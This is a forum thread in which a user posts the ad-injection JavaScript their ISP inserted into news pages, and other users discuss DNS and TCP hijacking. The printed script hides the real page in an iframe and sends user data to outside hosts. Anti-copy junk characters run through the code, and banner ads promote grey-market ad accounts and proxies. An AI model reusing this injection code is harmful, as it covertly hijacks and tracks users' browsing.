找回密码
 立即注册

QQ登录

只需一步,快速开始

PropellerAds
Google-Bing-Mediago-Criteo开户
⚡️按条S5代理⚡️静态⚡️独享⚡️5G广告专用虚拟卡/U充值/高返点皇家代理IP⚡️#1性价比⚡️
Mediabuy⚡️玩家开户首选【鲁班跨境通-自助充值转账】FB/GG/TT❤️官方免费开户Affiliate 全媒体流量资源⚡️
Taboola/Outbrain /Bing⚡️一级代理开户投流-7*24h❤️人工在线【官方】❤️搜索套利买量投流开户独立站⚡️开户投放
Google FB TK游戏代投⚡️E.PN 虚拟卡⚡️BINOM TRACKER 60% OFF!比Adplexity还好用的Spy工具
ADPLEXITY + ADVERTCN7200W全球动态不重复住宅IP代理虚拟信用卡+独立站收款全球虚拟卡, 支持U充值
Facebook 批量上广告尤里改 - FB 稳定投放免费黑五教程(持续更新、欢迎交流)FB 三不限源头 - 自助下户充值转款
各种主页、账单户、BM户(优势)IPCola原生住宅IP⚡️$1.8/条双ISPFB资源,账单户,分享户,国内一手TK加白户/二解户/FB海外户/GG老户
海外CL企业户源头最大欧洲Nutra网盟BA找量 FB高权重耐操个号⚡️稳定过审GG,FB,TK, 欧美源头, 欢迎合作❤️
FB企业户海外户,授信户,TK加白户联盟收款/海外资金下发/服贸结汇⚡️Spend.net — 美元卡仅需$0⚡️✔Taboola海外户
广告位出租虚拟卡返佣1%,国内持牌机构  
查看: 8946|回复: 12

[闲聊] 上网奇遇记

[复制链接]

45

主题

781

广告币

1433

积分

高级会员

积分
1433
发表于 2015-2-3 00:52:03 | 显示全部楼层 |阅读模式
本帖最后由 hudba 于 2015-2-3 00:56 编辑
  ?: l5 d4 A5 q7 s
& D) y, e; p* h5 T- u上网易看新闻半天打不开,发现状态栏在现实访问一个奇怪的域名。心里一惊,难道电脑中毒了?赶紧查看源代码,发现后面加了一段js,真正的新闻内容给iframe了
- G8 L3 i5 C3 k- s( W, o; q1 I2 D! _
接下来就是去搜索这个域名,得到v2ex里面也有人遇到这个问题,原来是运营商搞的鬼{:soso_e131:}" s! X. }+ L5 M9 W) s; H" v
https://www.google.com/search?q=info.hfjuki.com&ie=utf-8&oe=utf-8
http://www.v2ex.com/t/142197

% M5 r& u  g: U* C$ W0 z+ y4 W) p
" E4 O2 Q& z% [) V  t# a6 i顺便查下ip138:2 L3 X, X  B) I6 k0 n

- F4 o+ p( [9 m( g( @这是那段js里面的代码,好象是个半成品还没写入广告数据:  b0 \1 r7 z, o; [$ t2 F
  1. function locationSearch() {
    4 U$ L+ {1 c  I7 ^0 M9 e$ d; S
  2.         var s = getMainJs();2 E; O0 {. N8 F; K2 \  K7 _
  3.         if (s == null) {
    / B" ~6 L$ L  X; w9 g
  4.                 location.reload();
    5 C. m3 Y% I- F6 X) e; ?1 X' q
  5.         }4 k5 v- {- T7 Z2 K
  6.         return s.src.substring(s.src.indexOf(".js?") + 3, s.src.length);+ U2 e1 ^2 E4 m3 n* u% @8 T( g% \# D
  7. }
    # z7 C6 D( R" M3 s6 o- R# d
  8. 2 v( V( F2 u0 R: U
  9. function getParameter(name, paraStr) {# E  `6 m! ~2 l7 k8 r% s+ f3 ]4 z
  10.         var result = "";5 t& `. H1 @, h% O$ i/ q2 |
  11.         var str = "&" + paraStr.split("?")[1];
    ; k9 N9 A* b; k. {& q- m
  12.         var paraName = "&" + name + "=";
    9 ]. \+ _2 `$ Q* D
  13.         if (str.indexOf(paraName) != -1) {
    , ]1 l. }$ n. m& l8 p3 ~. y
  14.                 if (str.substring(str.indexOf(name), str.length).indexOf("&") != -1) {9 e  k4 |* A/ R$ ?; Y
  15.                         var TmpStr = str.substring(str.indexOf(paraName), str.length);6 a! e8 m. U* i- E0 }
  16.                         result = TmpStr.substr(TmpStr.indexOf(paraName), TmpStr.substring(& z- _- Y! `) Y& ]8 v: Z* N
  17.                                         1, TmpStr.length).indexOf("&")- }" ?* l5 }2 \
  18.                                         - TmpStr.indexOf(paraName) + 1);! o- l5 G, d9 a5 U( |
  19.                 } else {
    4 s3 P% r. q9 h/ F* V
  20.                         result = str.substring(str.indexOf(paraName), str.length);: g* |1 P. X$ E$ @, |# T
  21.                 }
    2 Q8 v+ i4 B: a# ^, m! r4 h# k
  22. . ^3 C; U, Y5 i
  23.                 result = result.substring(result.indexOf("=") + 1, result.length);
    % }' z$ e$ n% Q% w; L/ B+ Q6 a" L
  24.         } else {6 T9 D" E- P- {4 K8 H4 D
  25.                 result = "No such parameter";
    7 D5 Z, g6 C0 S5 d" ?& E
  26.         }
    * J0 I" V  j, E9 l7 C- s
  27.         return (result.replace("&", ""));3 u( _. B; A+ X+ X1 l4 X0 I
  28. }+ V, U6 Q, J+ e+ v- p7 C: ]$ Z
  29. ) W" V0 M7 a0 g  v. [+ D0 }
  30. function getMainJs() {. w' R! a' P) x) Y& ]! A; Q" x
  31.         var scripts = document.getElementsByTagName("script");: J6 M- s1 i: a+ r3 i
  32.         var s = null;4 j1 N- ~- y2 Z+ I6 L# `
  33.         for (var i = 0; i < scripts.length; i++) {
    ) f4 F& i2 C: v" ^
  34.                 if (scripts[i] != "undefined" && scripts[i].src.indexOf("t_c") != -1) {
    8 w# Z8 U) H3 J( |
  35.                         s = scripts[i];4 D% n- d' _: C2 m: C" n
  36.                         break;
    ( o" d- b7 ?. U
  37.                 }
    9 @# x  @- a0 T7 U" ^6 w6 t. m
  38.         }
    , L7 _+ D8 I' @. R% U1 o: Q3 N7 s8 a
  39.         return s;# T) G5 t% Q* L9 q$ J
  40. }! f$ L) t8 D: U. A  G) ~
  41. 1 i" F( p9 X& Y. ]: K- d4 j
  42. function appendParam(oStr, aStr) {; |% Z9 Y/ H7 @" d: w: n' _
  43.         if (oStr.indexOf('?') > 0) {" A, o+ u# W* l) Y" P/ V" s
  44.                 oStr = oStr + "&" + aStr;) {: A# W* s8 S2 }9 b
  45.         } else {1 L. t' e( Y9 i+ P, A  p  j5 T2 e# @
  46.                 oStr = oStr + "?" + aStr;
    # `; q- C7 L+ W) ]/ H7 M
  47.         }
    0 ]0 M( g1 s0 q' W/ g- X
  48.         return oStr;
    ; H0 C( d9 F& J) k0 x
  49. }! t! K6 Z. a# v: B9 E) w% H# d

  50. - f- {7 K1 f  f+ J5 ~5 i. y2 O" U
  51. window.onerror = function() {
    % @4 T5 Y) D$ z! B- I3 O/ Y; M9 V4 K
  52. };1 ]% U5 E7 O  g! S6 ?  z
  53. . _+ n2 |  X# j/ ?" O. _
  54. var g_titleTime = 0;; Q* ~& e6 o9 A, k# k4 H: T
  55. function setTcTitle() {  V% b; X3 ^5 B2 K, p  E9 F( @
  56.         if (undefined == document) {
    ( x% o1 z  c6 H% d: j& b
  57.                 g_titleTime++;
    . P7 ^7 b6 H% r$ f6 q4 u2 u# U
  58.                 setTimeout("setTcTitle();", 1000);
    2 ~& t4 J  H& n; t0 [( W0 V
  59.                 return;9 w$ }6 ]- @) M  H) T$ N5 l0 W
  60.         }+ n5 _' K" C3 O: X9 J, [

  61. 7 [- f( e8 i. R* H+ V
  62.         var doc;
    ; B! _! n: p! n+ r+ {6 N/ F
  63.         try {" y( W% w, a7 ]1 P( m) k. h9 s( o
  64.                 if (document.all) {
    9 j' |+ Y9 @7 z+ c  H6 E
  65.                         doc = document.frames["cn"].document;# d, t3 f. D0 |# V3 l, F
  66.                 } else {
    2 q7 J' O: n) m! z2 Y, D0 N
  67.                         doc = document.getElementById("cn").contentDocument;- {0 i; L" {8 r  R$ j
  68.                 }9 {9 g9 |- e% j: l) z6 W1 c7 u8 J
  69.         } catch (ex) {
    5 E( E- o7 m. {6 N. C
  70.         }0 Z- j0 D6 ^( I% ?, w8 o" e. b' l) K
  71. ( ]) S5 r2 K- W% W
  72.         if (g_titleTime < 54 h$ y7 M" Y/ D8 E( ]* U
  73.                         && (undefined == doc || undefined == doc.title || "" == doc.title)) {
    : A" F( ]5 Z% D+ z
  74.                 g_titleTime++;
    ! }( _- T+ E9 ?# {; N
  75.                 setTimeout("setTcTitle();", 1000);7 ?4 `4 k  Y4 _+ V* m& I
  76.                 return;
      D+ d9 Q# Y! ?
  77.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {' Q0 V/ @# _9 g! w! C* S
  78.                 document.title = doc.title;% E; T0 H. o  T$ ]( b
  79.                 setTcAdvVisible();5 K+ ]2 I  A* Z: C/ t& c5 x
  80.         }' _  }$ m6 E8 k
  81. }3 e; |0 d  X6 z$ f6 }3 B" M, X; Z

  82. 9 Q  X3 p! |; Z  p
  83. setTimeout("setTcTitle();", 1000);
    * x& i! p4 [/ S! ?2 `/ R
  84. * A6 Q8 {/ B5 {- m6 @9 ?$ D
  85. var g_isHaveVisible = false;5 g- i& {0 M6 z3 w$ o
  86. function setTcAdvVisible() {
    ' }: ^$ Q' f* b3 W
  87.         if (undefined != document && undefined != document.getElementById("addiv")$ R) S  h" a4 o9 }# u2 X! m
  88.                         && !g_isHaveVisible) {
    7 J* l8 C1 O# Q# Z* a5 x* e9 v
  89.                 document.getElementById("addiv").style.visibility = 'visible';
    & s" }: i' Y3 L# z3 g( a8 Y9 V
  90.                 document.getElementById("addiv").style.display = 'block';9 P  g! g5 G" W1 J
  91.                 g_isHaveVisible = true;1 v1 g3 f+ e- ^7 H6 S
  92.         }8 \9 B8 w: w+ U* R$ Q" P
  93. }' r9 A) B5 z$ Q% ?2 f) L
  94. . G% F3 m, B$ x% K; r! j$ j" s3 t
  95. function UrlAnalyzer() {6 u, V+ N& G6 H: u
  96.         this.divda = "";
    9 Y1 h6 c) K9 H) W5 H/ p0 T) N
  97.         this.tctype = "";
      B. I: U, d9 c4 q1 N
  98.         this.radius = "";2 Q* `" g1 l+ u( _. L3 D& I8 E- B$ {
  99.         this.rlu = "";
    / H! h: w/ E1 R. X' ~7 [- W
  100. }
    5 W! w! r  L' a% x' F  M
  101. 1 I+ P: Z# ~* @4 {: Q/ A
  102. UrlAnalyzer.prototype.initParameters = function() {
    4 B. X# f- N3 b2 ^
  103.         var paraStr = locationSearch();! Q8 j6 d* e& f  G. j2 h
  104.         this.rlu = getParameter("lruedct", paraStr);
    0 j8 \( }, E( k
  105.         this.divda = getParameter("divda", paraStr);
    - L4 @% x6 R' U) e0 @
  106.         this.radius = getParameter("radius", paraStr);9 _6 _. o) Q% [8 D& D+ |  Q. D
  107.         this.tctype = getParameter("tctype", paraStr);
    * e! e, E" F* Y# w7 B9 d5 P
  108.         this.address = getParameter("address", paraStr);
    / t4 }1 M. ]" v# ~. F6 j5 e
  109.         this.usagent = getParameter("usagent", paraStr);( F1 X  i; y3 B# I
  110. }! A2 }- L. f) K1 m( d) b

  111. : t3 v' r- G7 W9 U% E
  112. UrlAnalyzer.prototype.getHtmlDoc = function() {
    % e9 ^* H" [& y& @
  113.         var doc;
    7 K- T6 `* D+ |% O! R- _/ t
  114.         try {
    2 C: t* P: M! E9 ]4 |* l4 m( j% P
  115.                 if (document.all) {
    4 y% X3 r! g& ]
  116.                         doc = document.frames["cn"].document;
    / R; e1 C2 L$ A4 \
  117. ) X  {' [' ?' }# u
  118.                 } else {
    9 _9 K  a3 W9 M2 ]- v# t2 ~# W/ p! F) Q
  119.                         doc = document.getElementById("cn").contentDocument;4 s( I7 O! z* D3 o
  120.                         // doc = document.getElementById("cn").contentWindow.document;$ g: a' d* A# Q4 H2 M1 l
  121.                 }8 f) b+ Y2 R/ x* O! s
  122.         } catch (ex) {
    / G% L. ^- b% t" U
  123.         }1 r: v& _: @  S# A) B
  124.         return doc;2 i2 V# \7 v6 S  H3 O: @
  125. }) m, `; }) d5 J4 _- w. O4 N. Z9 N
  126. + t1 h9 V7 U/ x% O# N* d
  127. UrlAnalyzer.prototype.setDomain = function() {
    4 |5 g4 B5 [; _0 U
  128.         if (undefined != document.title && "" == document.title)  z  Q, O9 {# G) V
  129.         {
    5 A+ v& B. G/ z$ c6 I
  130.                 var index = document.domain.indexOf(".");7 C+ s- o; T9 y* `
  131.                 if (undefined != index && -1 != index) {
    6 \. S  ^) S2 h2 H( u$ ~
  132.                         document.domain = document.domain.substring(index + 1,
    ' j% D/ |1 O  E) `
  133.                                         document.domain.length);# l  H& }4 T! i: V
  134.                 }5 \& l0 Y; K% k) `
  135.                
    . x- J4 s5 E8 Q; g' d7 w. R# v
  136.                 var doc = this.getHtmlDoc();
    % l7 q. b9 z/ {) ~5 B( {4 M  E% j
  137.                 if (undefined != doc && undefined != doc.title && "" != doc.title) {$ }6 B, r; l" R4 t5 g4 w8 w
  138.                         document.title = doc.title;
    5 [# D8 F% a' S4 f' r2 b- ^0 c) L
  139.                         setTcAdvVisible();: a) e5 j! ^! t
  140.                 }
    ) K4 D, M( L- [* h( h: |' a
  141.         }3 D1 Z6 c* L, [
  142. }1 @3 e$ B! `: P* O  I
  143. 3 g& F+ K. R7 P! z
  144. UrlAnalyzer.prototype.iframeCallback = function() {
      n( ^. b: _7 V4 _3 g" @
  145.         var doc = this.getHtmlDoc();
    $ t  f- @* o: X+ a& Z- \8 F# u
  146.         if (undefined == doc || undefined == doc.title || "" == doc.title) {
    $ h4 M1 F* v% i7 y. z2 l) k
  147.                 if (undefined != document.domain) {: N, N7 h6 }4 W" b" k; L1 P
  148. 7 i# j& x% j. i! P
  149.                         var self = this;0 i* ]- s) I) L. f( Q4 [3 q$ S
  150.                         setTimeout(function(){self.setDomain.call(self, null)}, 1000);* m2 ~$ M; Z' ^
  151.                         // var index = document.domain.indexOf(".");2 @& r5 T1 o% |; a
  152.                         // if (undefined != index && -1 != index) {
    6 C: e- L7 ^7 n* x! }- W3 N/ Q( X
  153.                         // document.domain = document.domain.substring(index + 1,( Y( @$ m+ q# A; M! a- Z) k
  154.                         // document.domain.length);
    ' p" [& j. u  A* @; h
  155.                         // }
    2 y; o& ^" e( H/ k5 E
  156.                         //
    5 X6 [$ P9 @4 ?7 p; F" B
  157.                         // var doc = this.getHtmlDoc();$ J' w/ ~9 I+ D1 C8 K
  158.                         // if (undefined != doc && undefined != doc.title && "" !=3 e$ X) W: L4 ^) e( w/ ~
  159.                         // doc.title) {
    ; C/ N! E' F9 i
  160.                         // document.title = doc.title;
    1 y  m' ~/ M1 J  W
  161.                         // setTcAdvVisible();$ P& g7 e7 y$ W5 x
  162.                         // }" [8 e! }+ o% a0 j7 o. L
  163.                 }3 S4 I% r. u1 X1 F3 \
  164.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {) N" P* @+ S* ~. Y
  165.                 document.title = doc.title;) T8 x4 p, S5 @, q
  166.                 setTcAdvVisible();
    & z6 K. i8 ?0 u' Q* {" S& v' [
  167.         }5 A( e- R( S- _9 O! r
  168. }; N! X. {7 M* e3 C
  169. . T% {5 {: y1 E: @. q2 @
  170. UrlAnalyzer.prototype.executeHtmlContext = function() {
    / K4 R# a* I' {
  171.         var staUrl = "http://info.hfjuki.com:8060/page/statistics?advId=" + this.divda
    - c4 a3 s3 j9 i
  172.                         + "&rd=" + this.radius + "&tctype=" + this.divda  + "&address=" + this.address  + "&usagent=" + this.usagent;
    ( @1 s3 f! i/ k. F
  173. 3 \& h0 B) ?" y
  174.         var htmlStr = "<iframe src="" + staUrl+ A: t; P& ^- f3 s7 `" [" |
  175.                         + "" style="display:none"></iframe>";
    7 Q% z/ ~* }2 ^; E

  176. 6 w+ y* r# ~9 k  K$ P: S
  177.         var advUrl = htmlStr
    ' a, M  `) b4 v, Y7 m8 y
  178.                         + "<script src="http://c2.sxite.com:8060/center?advId="
    2 N# [, T2 c, t9 v% p
  179.                         + this.divda + "&radius=" + this.radius  + "&area=1" + ""><\/script>";- @4 @# l% U- `. S
  180.         document.write(advUrl);  d+ u+ U3 x$ H5 I
  181. % E0 q7 D& d  g7 @9 e" V( M
  182.         var self = this;+ u4 o3 u/ {- J2 c% ?
  183.         var iframe = document.getElementById("cn");
    # w5 u% m0 u4 _; W0 e- n
  184.         if (iframe.attachEvent) {5 f3 g& L$ ^2 I$ F5 P- E
  185.                 iframe.attachEvent("onload", function() {
    % J( E6 s$ W3 ?3 w' x
  186.                         self.iframeCallback.call(self, null);* B- h6 }- R0 E. F
  187.                 });/ ~! C0 x1 L( T
  188.         } else {
    + o2 Q0 Q9 F4 W" U. e) d  O
  189.                 iframe.onload = function() {
    7 k- F6 `. x! `; a9 A1 m
  190.                         self.iframeCallback.call(self, null);7 q4 Y' P, t% A8 j, G+ i% V
  191.                 }2 \3 f" e6 e# b5 D9 X) H! B
  192.         }- }* k  Z* X- V$ t. R) z( U
  193. }
    5 v4 Q8 `# |* A/ i) `
  194. 2 O: A/ \) I4 y0 y( H
  195. UrlAnalyzer.prototype.executeMain = function() {/ @9 A0 \4 u, Y' ?% b4 ]
  196.         var mainFrame = document.getElementById("cn");
    ) r0 H. [  y+ N
  197.         mainFrame.contentWindow.location.href = mainFrame.src;. c2 P6 N. m& ~1 U- s' a* b. J
  198.         this.initParameters();% e6 t0 Q9 h9 {4 S* N3 u6 h( F9 W  t
  199.         this.executeHtmlContext();6 M/ ?0 r8 k& t" Z8 A( A- P
  200. }
    0 F; f' j. F+ \

  201. * `( n( U$ J* }" C1 C/ q8 z# T
  202. var g_analyzer = new UrlAnalyzer();
    6 J, V8 m( r, P/ O- e+ N7 x+ V5 g
  203. g_analyzer.executeMain();
    " r/ T4 ^9 }; j2 Z
复制代码
3 t) r$ F7 r9 }; N4 s1 P

7 d1 p, |* ~! d5 ]7 [: y$ l3 n
5 b- Z% a6 K( I+ g& M; P9 L

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

×
相关帖子
回复

使用道具 举报

26

主题

836

广告币

1784

积分

高级会员

积分
1784
发表于 2015-2-3 01:33:54 | 显示全部楼层
回复 支持 反对

使用道具 举报

52

主题

458

广告币

844

积分

中级会员

积分
844
发表于 2015-2-3 04:58:09 | 显示全部楼层
我在想有没有大牛会去干电信那个网页,那就发啦。哈哈
回复 支持 反对

使用道具 举报

54

主题

9

广告币

6010

积分

禁止访问

积分
6010
发表于 2015-2-3 09:49:12 | 显示全部楼层
所以从不使用运行商的dns,http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错

点评

TCP劫持,换DNS也不管用的。  详情 回复 发表于 2015-2-3 21:26
回复 支持 反对

使用道具 举报

26

主题

348

广告币

595

积分

中级会员

积分
595
发表于 2015-2-3 09:49:33 | 显示全部楼层
法制不健全,没法。我这里也有电信绑架的问题,但你没辙,要国外,早赔的只剩内裤了。
回复 支持 反对

使用道具 举报

22

主题

1730

广告币

2028

积分

高级会员

积分
2028
发表于 2015-2-3 13:12:15 | 显示全部楼层
电信DNS劫持不是一天两天了。国家垄断企业,没人能管”。。。
回复 支持 反对

使用道具 举报

1

主题

70

广告币

498

积分

中级会员

积分
498
发表于 2015-2-3 14:24:00 | 显示全部楼层
我这段时间也遇到了,投诉了两次,这几天没出现了,再出现继续投诉
回复 支持 反对

使用道具 举报

26

主题

836

广告币

1784

积分

高级会员

积分
1784
发表于 2015-2-3 21:26:11 | 显示全部楼层
阿百川 发表于 2015-2-3 09:49
( N. |3 w: S! j1 U/ H* N所以从不使用运行商的dns,http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错 ...

  f2 N  y; H9 ~. b5 K- A( a0 iTCP劫持,换DNS也不管用的。

点评

正解。  发表于 2015-2-3 21:43
回复 支持 反对

使用道具 举报

54

主题

9

广告币

6010

积分

禁止访问

积分
6010
发表于 2015-2-4 07:36:43 | 显示全部楼层
ads419 发表于 2015-2-3 21:26
/ B5 O( u1 A9 I4 x2 V2 C# d% fTCP劫持,换DNS也不管用的。

& O7 b6 S" L) E3 ~( o, c8 x幸好联通还木有这么强的技术

点评

联通也一样,各地不同罢了。  发表于 2015-2-4 10:07
回复 支持 反对

使用道具 举报

12

主题

915

广告币

1212

积分

高级会员

积分
1212

社区QQ达人

发表于 2015-2-4 20:47:04 | 显示全部楼层
在国内,习惯就好
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

关于我们|联系我们|DMCA|广告服务|小黑屋|手机版|Archiver|Github|网站地图|AdvertCN

GMT+8, 2026-8-15 09:50 , Processed in 0.064397 second(s), 25 queries , Gzip On.

Copyright © 2001-2026, AdvertCN

Proudly Operating in Hong Kong.

快速回复 返回顶部 返回列表